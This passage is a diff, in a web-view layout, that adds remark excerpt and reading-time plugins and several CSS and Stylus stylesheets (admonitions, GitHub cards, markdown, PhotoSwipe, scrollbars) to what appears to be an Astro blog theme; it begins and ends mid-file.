|
||||
node.children[0].data.directiveLabel
|
||||
) {
|
||||
// Add a flag to the node to indicate that it has a directive label
|
||||
node.attributes["has-directive-label"] = true;
|
||||
}
|
||||
const hast = h(node.name, node.attributes);
|
||||
|
||||
data.hName = hast.tagName;
|
||||
data.hProperties = hast.properties;
|
||||
}
|
||||
});
|
||||
};
|
||||
}
|
||||
17
src/plugins/remark-excerpt.js
Normal file
17
src/plugins/remark-excerpt.js
Normal file
@ -0,0 +1,17 @@
|
||||
// biome-ignore lint/suspicious/noShadowRestrictedNames: <toString from mdast-util-to-string>
|
||||
import { toString } from "mdast-util-to-string";
|
||||
|
||||
/* Use the post's first paragraph as the excerpt */
|
||||
export function remarkExcerpt() {
|
||||
return (tree, { data }) => {
|
||||
let excerpt = "";
|
||||
for (const node of tree.children) {
|
||||
if (node.type !== "paragraph") {
|
||||
continue;
|
||||
}
|
||||
excerpt = toString(node);
|
||||
break;
|
||||
}
|
||||
data.astro.frontmatter.excerpt = excerpt;
|
||||
};
|
||||
}
|
||||
15
src/plugins/remark-reading-time.mjs
Normal file
15
src/plugins/remark-reading-time.mjs
Normal file
@ -0,0 +1,15 @@
|
||||
// biome-ignore lint/suspicious/noShadowRestrictedNames: <toString from mdast-util-to-string>
|
||||
import { toString } from "mdast-util-to-string";
|
||||
import getReadingTime from "reading-time";
|
||||
|
||||
export function remarkReadingTime() {
|
||||
return (tree, { data }) => {
|
||||
const textOnPage = toString(tree);
|
||||
const readingTime = getReadingTime(textOnPage);
|
||||
data.astro.frontmatter.minutes = Math.max(
|
||||
1,
|
||||
Math.round(readingTime.minutes),
|
||||
);
|
||||
data.astro.frontmatter.words = readingTime.words;
|
||||
};
|
||||
}
|
||||
9
src/styles/expressive-code.css
Normal file
9
src/styles/expressive-code.css
Normal file
@ -0,0 +1,9 @@
|
||||
.expressive-code {
|
||||
.frame {
|
||||
@apply !shadow-none;
|
||||
}
|
||||
|
||||
.title {
|
||||
font-family: "JetBrains Mono Variable", ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
|
||||
}
|
||||
}
|
||||
152
src/styles/main.css
Normal file
152
src/styles/main.css
Normal file
@ -0,0 +1,152 @@
|
||||
@tailwind components;
|
||||
|
||||
@layer components {
|
||||
.card-base {
|
||||
@apply rounded-[var(--radius-large)] overflow-hidden bg-[var(--card-bg)] transition;
|
||||
}
|
||||
h1, h2, h3, h4, h5, h6, p, a, span, li, ul, ol, blockquote, code, pre, table, th, td, strong {
|
||||
@apply transition;
|
||||
}
|
||||
.card-shadow {
|
||||
@apply drop-shadow-[0_2px_4px_rgba(0,0,0,0.005)]
|
||||
}
|
||||
.expand-animation {
|
||||
@apply relative before:ease-out before:transition active:bg-none hover:before:bg-[var(--btn-plain-bg-hover)] active:before:bg-[var(--btn-plain-bg-active)] z-0
|
||||
before:absolute before:rounded-[inherit] before:inset-0 before:scale-[0.85] hover:before:scale-100 before:-z-10
|
||||
}
|
||||
.link {
|
||||
@apply transition rounded-md p-1 -m-1 expand-animation;
|
||||
}
|
||||
.link-lg {
|
||||
@apply transition rounded-md p-1.5 -m-1.5 expand-animation;
|
||||
}
|
||||
.float-panel {
|
||||
@apply top-[5.25rem] rounded-[var(--radius-large)] overflow-hidden bg-[var(--float-panel-bg)] transition shadow-xl dark:shadow-none
|
||||
}
|
||||
.float-panel-closed {
|
||||
@apply -translate-y-1 opacity-0 pointer-events-none
|
||||
}
|
||||
.search-panel mark {
|
||||
@apply bg-transparent text-[var(--primary)]
|
||||
}
|
||||
|
||||
.btn-card {
|
||||
@apply transition flex items-center justify-center bg-[var(--card-bg)] hover:bg-[var(--btn-card-bg-hover)]
|
||||
active:bg-[var(--btn-card-bg-active)]
|
||||
}
|
||||
.btn-card.disabled {
|
||||
@apply pointer-events-none text-black/10 dark:text-white/10
|
||||
}
|
||||
.btn-plain {
|
||||
@apply transition relative flex items-center justify-center bg-none
|
||||
text-black/75 hover:text-[var(--primary)] dark:text-white/75 dark:hover:text-[var(--primary)];
|
||||
&:not(.scale-animation) {
|
||||
@apply hover:bg-[var(--btn-plain-bg-hover)] active:bg-[var(--btn-plain-bg-active)]
|
||||
}
|
||||
&.scale-animation {
|
||||
@apply expand-animation;
|
||||
&.current-theme-btn {
|
||||
@apply before:scale-100 before:opacity-100 before:bg-[var(--btn-plain-bg-hover)] text-[var(--primary)]
|
||||
}
|
||||
}
|
||||
}
|
||||
.btn-regular {
|
||||
@apply transition flex items-center justify-center bg-[var(--btn-regular-bg)] hover:bg-[var(--btn-regular-bg-hover)] active:bg-[var(--btn-regular-bg-active)]
|
||||
text-[var(--btn-content)] dark:text-white/75
|
||||
}
|
||||
|
||||
.link-underline {
|
||||
@apply transition underline decoration-2 decoration-dashed decoration-[var(--link-underline)]
|
||||
hover:decoration-[var(--link-hover)] active:decoration-[var(--link-active)] underline-offset-[0.25rem]
|
||||
}
|
||||
|
||||
.toc-hide,
|
||||
.toc-not-ready {
|
||||
@apply opacity-0 pointer-events-none
|
||||
}
|
||||
|
||||
#toc-inner-wrapper {
|
||||
mask-image: linear-gradient(to bottom, transparent 0%, black 2rem, black calc(100% - 2rem), transparent 100%);
|
||||
}
|
||||
|
||||
.hide-scrollbar {
|
||||
scrollbar-width: none;
|
||||
-ms-overflow-style: none;
|
||||
}
|
||||
.hide-scrollbar::-webkit-scrollbar {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.text-90 {
|
||||
@apply text-black/90 dark:text-white/90
|
||||
}
|
||||
.text-75 {
|
||||
@apply text-black/75 dark:text-white/75
|
||||
}
|
||||
.text-50 {
|
||||
@apply text-black/50 dark:text-white/50
|
||||
}
|
||||
.text-30 {
|
||||
@apply text-black/30 dark:text-white/30
|
||||
}
|
||||
.text-25 {
|
||||
@apply text-black/25 dark:text-white/25
|
||||
}
|
||||
|
||||
.meta-icon {
|
||||
@apply w-8 h-8 transition rounded-md flex items-center justify-center bg-[var(--btn-regular-bg)]
|
||||
text-[var(--btn-content)] mr-2
|
||||
}
|
||||
.with-divider {
|
||||
@apply before:content-['/'] before:ml-1.5 before:mr-1.5 before:text-[var(--meta-divider)] before:text-sm
|
||||
before:font-medium before:first-of-type:hidden before:transition
|
||||
}
|
||||
|
||||
.btn-regular-dark {
|
||||
@apply flex items-center justify-center
|
||||
bg-[oklch(0.45_0.01_var(--hue))] hover:bg-[oklch(0.50_0.01_var(--hue))] active:bg-[oklch(0.55_0.01_var(--hue))]
|
||||
dark:bg-[oklch(0.30_0.02_var(--hue))] dark:hover:bg-[oklch(0.35_0.03_var(--hue))] dark:active:bg-[oklch(0.40_0.03_var(--hue))]
|
||||
}
|
||||
.btn-regular-dark.success {
|
||||
@apply bg-[oklch(0.75_0.14_var(--hue))] dark:bg-[oklch(0.75_0.14_var(--hue))]
|
||||
}
|
||||
}
|
||||
|
||||
.custom-md img, #post-cover img {
|
||||
@apply cursor-zoom-in
|
||||
}
|
||||
|
||||
::selection {
|
||||
background-color: var(--selection-bg)
|
||||
}
|
||||
|
||||
.dash-line {
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.dash-line::before {
|
||||
content: "";
|
||||
position: absolute;
|
||||
width: 10%;
|
||||
height: 100%;
|
||||
left: calc(50% - 1px);
|
||||
border-left: 2px dashed var(--line-color);
|
||||
pointer-events: none;
|
||||
transition: all 0.3s;
|
||||
transform: translateY(-50%);
|
||||
}
|
||||
|
||||
.collapsed {
|
||||
height: var(--collapsedHeight);
|
||||
}
|
||||
|
||||
.custom-md spoiler {
|
||||
@apply bg-[var(--codeblock-bg)] hover:bg-transparent px-1 py-0.5 overflow-hidden rounded-md transition-all duration-150;
|
||||
|
||||
&:not(:hover) {
|
||||
color: var(--codeblock-bg);
|
||||
* {
|
||||
color: var(--codeblock-bg);
|
||||
}
|
||||
}
|
||||
}
|
||||
245
src/styles/markdown-extend.styl
Normal file
245
src/styles/markdown-extend.styl
Normal file
@ -0,0 +1,245 @@
|
||||
.custom-md
|
||||
|
||||
blockquote.admonition
|
||||
.bdm-title
|
||||
display: flex
|
||||
align-items: center
|
||||
margin-bottom: -.9rem
|
||||
font-weight: bold
|
||||
|
||||
&:before
|
||||
content: ' '
|
||||
display: inline-block
|
||||
font-size: inherit
|
||||
overflow: visible
|
||||
margin-right: .6rem
|
||||
height: 1em
|
||||
width: 1em
|
||||
vertical-align: -.126em
|
||||
mask-size: contain
|
||||
mask-position: center
|
||||
mask-repeat: no-repeat
|
||||
transform: translateY(-0.0625rem)
|
||||
&.bdm-tip
|
||||
.bdm-title
|
||||
color: var(--admonitions-color-tip)
|
||||
|
||||
&:before
|
||||
background: var(--admonitions-color-tip)
|
||||
mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' version='1.1' width='16' height='16' aria-hidden='true'%3E%3Cpath d='M8 1.5c-2.363 0-4 1.69-4 3.75 0 .984.424 1.625.984 2.304l.214.253c.223.264.47.556.673.848.284.411.537.896.621 1.49a.75.75 0 0 1-1.484.211c-.04-.282-.163-.547-.37-.847a8.456 8.456 0 0 0-.542-.68c-.084-.1-.173-.205-.268-.32C3.201 7.75 2.5 6.766 2.5 5.25 2.5 2.31 4.863 0 8 0s5.5 2.31 5.5 5.25c0 1.516-.701 2.5-1.328 3.259-.095.115-.184.22-.268.319-.207.245-.383.453-.541.681-.208.3-.33.565-.37.847a.751.751 0 0 1-1.485-.212c.084-.593.337-1.078.621-1.489.203-.292.45-.584.673-.848.075-.088.147-.173.213-.253.561-.679.985-1.32.985-2.304 0-2.06-1.637-3.75-4-3.75ZM5.75 12h4.5a.75.75 0 0 1 0 1.5h-4.5a.75.75 0 0 1 0-1.5ZM6 15.25a.75.75 0 0 1 .75-.75h2.5a.75.75 0 0 1 0 1.5h-2.5a.75.75 0 0 1-.75-.75Z'%3E%3C/path%3E%3C/svg%3E")
|
||||
|
||||
&:before
|
||||
background: var(--admonitions-color-tip)
|
||||
&.bdm-note
|
||||
.bdm-title
|
||||
color: var(--admonitions-color-note)
|
||||
|
||||
&:before
|
||||
background: var(--admonitions-color-note)
|
||||
mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' version='1.1' width='16' height='16' aria-hidden='true'%3E%3Cpath fill='var(--admonitions-color-tip)' d='M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z'%3E%3C/path%3E%3C/svg%3E")
|
||||
|
||||
&:before
|
||||
background: var(--admonitions-color-note)
|
||||
&.bdm-important
|
||||
.bdm-title
|
||||
color: var(--admonitions-color-important)
|
||||
|
||||
&:before
|
||||
background: var(--admonitions-color-important)
|
||||
mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' version='1.1' width='16' height='16' aria-hidden='true'%3E%3Cpath d='M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v9.5A1.75 1.75 0 0 1 14.25 13H8.06l-2.573 2.573A1.458 1.458 0 0 1 3 14.543V13H1.75A1.75 1.75 0 0 1 0 11.25Zm1.75-.25a.25.25 0 0 0-.25.25v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25Zm7 2.25v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 9a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z'%3E%3C/path%3E%3C/svg%3E")
|
||||
|
||||
&:before
|
||||
background: var(--admonitions-color-important)
|
||||
&.bdm-warning
|
||||
.bdm-title
|
||||
color: var(--admonitions-color-warning)
|
||||
|
||||
&:before
|
||||
background: var(--admonitions-color-warning)
|
||||
mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' version='1.1' width='16' height='16' aria-hidden='true'%3E%3Cpath d='M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z'%3E%3C/path%3E%3C/svg%3E")
|
||||
|
||||
&:before
|
||||
background: var(--admonitions-color-warning)
|
||||
&.bdm-caution
|
||||
.bdm-title
|
||||
color: var(--admonitions-color-caution)
|
||||
|
||||
&:before
|
||||
background: var(--admonitions-color-caution)
|
||||
mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' version='1.1' width='16' height='16' aria-hidden='true'%3E%3Cpath d='M4.47.22A.749.749 0 0 1 5 0h6c.199 0 .389.079.53.22l4.25 4.25c.141.14.22.331.22.53v6a.749.749 0 0 1-.22.53l-4.25 4.25A.749.749 0 0 1 11 16H5a.749.749 0 0 1-.53-.22L.22 11.53A.749.749 0 0 1 0 11V5c0-.199.079-.389.22-.53Zm.84 1.28L1.5 5.31v5.38l3.81 3.81h5.38l3.81-3.81V5.31L10.69 1.5ZM8 4a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 4Zm0 8a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z'%3E%3C/path%3E%3C/svg%3E")
|
||||
|
||||
&:before
|
||||
background: var(--admonitions-color-caution)
|
||||
|
||||
img
|
||||
border-radius: 0.75rem
|
||||
|
||||
hr
|
||||
border-color: var(--line-divider)
|
||||
border-style: dashed
|
||||
|
||||
iframe
|
||||
border-radius: 0.75rem
|
||||
margin-left: auto
|
||||
margin-right: auto
|
||||
max-width: 100%
|
||||
|
||||
a.card-github
|
||||
display: block
|
||||
background: var(--license-block-bg)
|
||||
position: relative
|
||||
margin: 0.5rem 0
|
||||
padding: 1.1rem 1.5rem 1.1rem 1.5rem
|
||||
color: var(--tw-prose-body)
|
||||
border-radius: var(--radius-large)
|
||||
text-decoration-thickness: 0px
|
||||
text-decoration-line: none
|
||||
|
||||
&:hover
|
||||
background-color: var(--btn-regular-bg-hover)
|
||||
|
||||
.gc-titlebar
|
||||
color: var(--btn-content)
|
||||
|
||||
.gc-stars, .gc-forks, .gc-license, .gc-description
|
||||
color: var(--tw-prose-headings)
|
||||
|
||||
&:before
|
||||
background-color: var(--tw-prose-headings)
|
||||
|
||||
&:active
|
||||
scale: .98
|
||||
background-color: var(--btn-regular-bg-active);
|
||||
|
||||
.gc-titlebar
|
||||
display: flex
|
||||
align-items: center
|
||||
justify-content: space-between
|
||||
margin-bottom: 0.5rem
|
||||
color: var(--tw-prose-headings)
|
||||
font-size: 1.25rem
|
||||
font-weight: 500
|
||||
|
||||
.gc-titlebar-left
|
||||
display: flex
|
||||
flex-flow: row nowrap
|
||||
gap: 0.5rem
|
||||
|
||||
.gc-repo
|
||||
font-weight: bold
|
||||
|
||||
.gc-owner
|
||||
font-weight: 300
|
||||
position: relative
|
||||
display: flex
|
||||
flex-flow: row nowrap
|
||||
gap: 0.5rem
|
||||
align-items: center
|
||||
|
||||
.gc-avatar
|
||||
display: block
|
||||
overflow: hidden
|
||||
width: 1.5rem
|
||||
height: 1.5rem
|
||||
margin-top: -0.1rem
|
||||
background-color: var(--primary)
|
||||
background-size: cover
|
||||
border-radius: 50%
|
||||
|
||||
.gc-description
|
||||
margin-bottom: 0.7rem
|
||||
font-size: 1rem
|
||||
font-weight: 300
|
||||
line-height: 1.5rem
|
||||
color: var(--tw-prose-body)
|
||||
|
||||
.gc-infobar
|
||||
display: flex
|
||||
flex-flow: row nowrap
|
||||
gap: 1.5rem
|
||||
color: var(--tw-prose-body)
|
||||
width: fit-content
|
||||
|
||||
.gc-language
|
||||
display: none
|
||||
|
||||
.gc-stars, .gc-forks, .gc-license, .github-logo
|
||||
font-weight: 500
|
||||
font-size: 0.875rem
|
||||
opacity: 0.9;
|
||||
|
||||
&:before
|
||||
content: ' '
|
||||
display: inline-block
|
||||
height: 1.3em
|
||||
width: 1.3em
|
||||
margin-right: .4rem
|
||||
vertical-align: -.24em
|
||||
font-size: inherit
|
||||
background-color: var(--tw-prose-body)
|
||||
overflow: visible
|
||||
mask-size: contain
|
||||
mask-position: center
|
||||
mask-repeat: no-repeat
|
||||
transition-property: background-color, background;
|
||||
transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1)
|
||||
transition-duration: 0.15s
|
||||
|
||||
.gc-stars
|
||||
&:before
|
||||
mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' aria-hidden='true' height='16' viewBox='0 0 16 16' version='1.1' width='16'%3E%3Cpath d='M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z'%3E%3C/path%3E%3C/svg%3E")
|
||||
|
||||
.gc-license
|
||||
&:before
|
||||
margin-right: .5rem
|
||||
mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' aria-hidden='true' height='16' viewBox='0 0 16 16' version='1.1' width='16'%3E%3Cpath d='M8.75.75V2h.985c.304 0 .603.08.867.231l1.29.736c.038.022.08.033.124.033h2.234a.75.75 0 0 1 0 1.5h-.427l2.111 4.692a.75.75 0 0 1-.154.838l-.53-.53.529.531-.001.002-.002.002-.006.006-.006.005-.01.01-.045.04c-.21.176-.441.327-.686.45C14.556 10.78 13.88 11 13 11a4.498 4.498 0 0 1-2.023-.454 3.544 3.544 0 0 1-.686-.45l-.045-.04-.016-.015-.006-.006-.004-.004v-.001a.75.75 0 0 1-.154-.838L12.178 4.5h-.162c-.305 0-.604-.079-.868-.231l-1.29-.736a.245.245 0 0 0-.124-.033H8.75V13h2.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1 0-1.5h2.5V3.5h-.984a.245.245 0 0 0-.124.033l-1.289.737c-.265.15-.564.23-.869.23h-.162l2.112 4.692a.75.75 0 0 1-.154.838l-.53-.53.529.531-.001.002-.002.002-.006.006-.016.015-.045.04c-.21.176-.441.327-.686.45C4.556 10.78 3.88 11 3 11a4.498 4.498 0 0 1-2.023-.454 3.544 3.544 0 0 1-.686-.45l-.045-.04-.016-.015-.006-.006-.004-.004v-.001a.75.75 0 0 1-.154-.838L2.178 4.5H1.75a.75.75 0 0 1 0-1.5h2.234a.249.249 0 0 0 .125-.033l1.288-.737c.265-.15.564-.23.869-.23h.984V.75a.75.75 0 0 1 1.5 0Zm2.945 8.477c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L13 6.327Zm-10 0c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L3 6.327Z'%3E%3C/path%3E%3C/svg%3E")
|
||||
|
||||
.gc-forks
|
||||
&:before
|
||||
mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' aria-hidden='true' height='16' viewBox='0 0 16 16' version='1.1' width='16'%3E%3Cpath d='M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z'%3E%3C/path%3E%3C/svg%3E")
|
||||
|
||||
.github-logo
|
||||
font-size: 1.25rem
|
||||
|
||||
&:before
|
||||
background-color: var(--tw-prose-headings)
|
||||
margin-right: 0
|
||||
mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='31' height='32' viewBox='0 0 496 512'%3E%3Cpath fill='%23a1f7cb' d='M165.9 397.4c0 2-2.3 3.6-5.2 3.6c-3.3.3-5.6-1.3-5.6-3.6c0-2 2.3-3.6 5.2-3.6c3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9c2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9c.3 2 2.9 3.3 5.9 2.6c2.9-.7 4.9-2.6 4.6-4.6c-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2c12.8 2.3 17.3-5.6 17.3-12.1c0-6.2-.3-40.4-.3-61.4c0 0-70 15-84.7-29.8c0 0-11.4-29.1-27.8-36.6c0 0-22.9-15.7 1.6-15.4c0 0 24.9 2 38.6 25.8c21.9 38.6 58.6 27.5 72.9 20.9c2.3-16 8.8-27.1 16-33.7c-55.9-6.2-112.3-14.3-112.3-110.5c0-27.5 7.6-41.3 23.6-58.9c-2.6-6.5-11.1-33.3 2.6-67.9c20.9-6.5 69 27 69 27c20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27c13.7 34.7 5.2 61.4 2.6 67.9c16 17.7 25.8 31.5 25.8 58.9c0 96.5-58.9 104.2-114.8 110.5c9.2 7.9 17 22.9 17 46.4c0 33.7-.3 75.4-.3 83.6c0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252C496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2c1.6 1.6 3.9 2.3 5.2 1c1.3-1 1-3.3-.7-5.2c-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9c1.6 1 3.6.7 4.3-.7c.7-1.3-.3-2.9-2.3-3.9c-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2c2.3 2.3 5.2 2.6 6.5 1c1.3-1.3.7-4.3-1.3-6.2c-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9c1.6 2.3 4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2c-1.4-2.3-4-3.3-5.6-2'/%3E%3C/svg%3E")
|
||||
|
||||
a.card-github.fetch-waiting
|
||||
pointer-events: none
|
||||
opacity: 0.7
|
||||
transition: opacity 0.15s ease-in-out
|
||||
|
||||
.gc-description, .gc-infobar, .gc-avatar
|
||||
background-color: var(--tw-prose-body)
|
||||
color: transparent
|
||||
opacity: 0.5;
|
||||
animation: pulsate 2s infinite linear
|
||||
user-select: none
|
||||
|
||||
&:before
|
||||
background-color: transparent
|
||||
|
||||
.gc-repo
|
||||
margin-left: -0.1rem
|
||||
|
||||
.gc-description, .gc-infobar
|
||||
border-radius: 0.5rem
|
||||
|
||||
a.card-github.fetch-error
|
||||
pointer-events: all
|
||||
opacity: 1
|
||||
|
||||
@keyframes pulsate
|
||||
0%
|
||||
opacity: 0.15
|
||||
50%
|
||||
opacity: 0.25
|
||||
100%
|
||||
opacity: 0.15
|
||||
|
||||
.card-github, .gc-description, .gc-titlebar, .gc-stars, .gc-forks, .gc-license, .gc-avatar, .github-logo
|
||||
transition-property: all
|
||||
transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1)
|
||||
transition-duration: 0.15s
|
||||
121
src/styles/markdown.css
Normal file
121
src/styles/markdown.css
Normal file
@ -0,0 +1,121 @@
|
||||
.custom-md {
|
||||
h1 {
|
||||
@apply text-3xl;
|
||||
}
|
||||
|
||||
h1, h2, h3, h4, h5, h6 {
|
||||
.anchor {
|
||||
@apply transition -m-0.5 ml-[0.2ch] p-0.5 select-none opacity-0 no-underline !important;
|
||||
|
||||
.anchor-icon {
|
||||
@apply mx-[0.45ch] !important;
|
||||
}
|
||||
}
|
||||
|
||||
&:hover {
|
||||
.anchor {
|
||||
@apply opacity-100 !important;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
a:not(.no-styling) {
|
||||
@apply relative bg-none link font-medium text-[var(--primary)]
|
||||
underline decoration-[var(--link-underline)] decoration-1 decoration-dashed underline-offset-4;
|
||||
box-decoration-break: clone;
|
||||
-webkit-box-decoration-break: clone;
|
||||
display: inline-block;
|
||||
|
||||
&:hover, &:active {
|
||||
@apply decoration-transparent;
|
||||
background: var(--btn-plain-bg-hover);
|
||||
border-bottom: 1px dashed var(--link-hover);
|
||||
text-decoration: none;
|
||||
}
|
||||
}
|
||||
|
||||
code {
|
||||
@apply bg-[var(--inline-code-bg)] text-[var(--inline-code-color)] px-1 py-0.5 rounded-md overflow-hidden;
|
||||
|
||||
font-family: 'JetBrains Mono Variable', ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, Liberation Mono, Courier New, monospace;
|
||||
&:before {
|
||||
content:none;
|
||||
}
|
||||
&:after {
|
||||
content:none;
|
||||
}
|
||||
|
||||
counter-reset: line;
|
||||
span.line {
|
||||
&:before {
|
||||
@apply text-white/25 mr-4 w-4 inline-block;
|
||||
content: counter(line);
|
||||
counter-increment: line;
|
||||
direction: rtl;
|
||||
}
|
||||
&:last-child:empty, &:last-child:has(> span:empty:only-child) {
|
||||
display: none;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
.copy-btn {
|
||||
all: initial;
|
||||
@apply btn-regular-dark opacity-0 shadow-lg shadow-black/50 absolute active:scale-90 h-8 w-8 top-3 right-3 text-sm rounded-lg transition-all ease-in-out z-20 cursor-pointer;
|
||||
}
|
||||
.frame:hover .copy-btn {
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.copy-btn-icon {
|
||||
@apply absolute top-1/2 left-1/2 transition -translate-x-1/2 -translate-y-1/2 w-4 h-4 fill-white pointer-events-none;
|
||||
}
|
||||
.copy-btn .copy-icon {
|
||||
@apply opacity-100 fill-white dark:fill-white/75;
|
||||
}
|
||||
.copy-btn.success .copy-icon {
|
||||
@apply opacity-0 fill-[var(--deep-text)]
|
||||
}
|
||||
.copy-btn .success-icon {
|
||||
@apply opacity-0 fill-white;
|
||||
}
|
||||
.copy-btn.success .success-icon {
|
||||
@apply opacity-100
|
||||
}
|
||||
|
||||
.expressive-code {
|
||||
@apply my-4;
|
||||
::selection {
|
||||
@apply bg-[var(--codeblock-selection)];
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
ul, ol {
|
||||
li::marker {
|
||||
@apply text-[var(--primary)];
|
||||
}
|
||||
}
|
||||
|
||||
blockquote {
|
||||
@apply not-italic border-transparent relative;
|
||||
font-weight: inherit;
|
||||
|
||||
&:before {
|
||||
@apply content-[''] absolute -left-1 block transition bg-[var(--btn-regular-bg)] h-full w-1 rounded-full;
|
||||
}
|
||||
|
||||
/* Remove the double quotes from default styles */
|
||||
p:before, p:after {
|
||||
@apply content-none;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
.katex-display-container {
|
||||
max-width: 100%;
|
||||
overflow-x: auto;
|
||||
margin: 1em 0;
|
||||
}
|
||||
|
||||
}
|
||||
12
src/styles/photoswipe.css
Normal file
12
src/styles/photoswipe.css
Normal file
@ -0,0 +1,12 @@
|
||||
.pswp__button {
|
||||
@apply transition bg-black/40 hover:bg-black/50 active:bg-black/60 flex items-center justify-center mr-0 w-12 h-12 !important;
|
||||
}
|
||||
.pswp__button--zoom, .pswp__button--close {
|
||||
@apply mt-4 rounded-xl active:scale-90 !important;
|
||||
}
|
||||
.pswp__button--zoom {
|
||||
@apply mr-2.5 !important;
|
||||
}
|
||||
.pswp__button--close {
|
||||
@apply mr-4 !important;
|
||||
}
|
||||
42
src/styles/scrollbar.css
Normal file
42
src/styles/scrollbar.css
Normal file
@ -0,0 +1,42 @@
|
||||
.scrollbar-base.os-scrollbar {
|
||||
@apply transition-all;
|
||||
pointer-events: unset;
|
||||
|
||||
&.os-scrollbar-horizontal {
|
||||
@apply py-1 px-2 h-4;
|
||||
.os-scrollbar-track .os-scrollbar-handle {
|
||||
@apply rounded-full h-1;
|
||||
}
|
||||
&:hover .os-scrollbar-track .os-scrollbar-handle {
|
||||
@apply h-2;
|
||||
}
|
||||
}
|
||||
|
||||
&.os-scrollbar-vertical {
|
||||
@apply px-1 py-1 w-4;
|
||||
.os-scrollbar-track .os-scrollbar-handle {
|
||||
@apply rounded-full w-1;
|
||||
}
|
||||
&:hover .os-scrollbar-track .os-scrollbar-handle {
|
||||
@apply w-2;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
.os-scrollbar {
|
||||
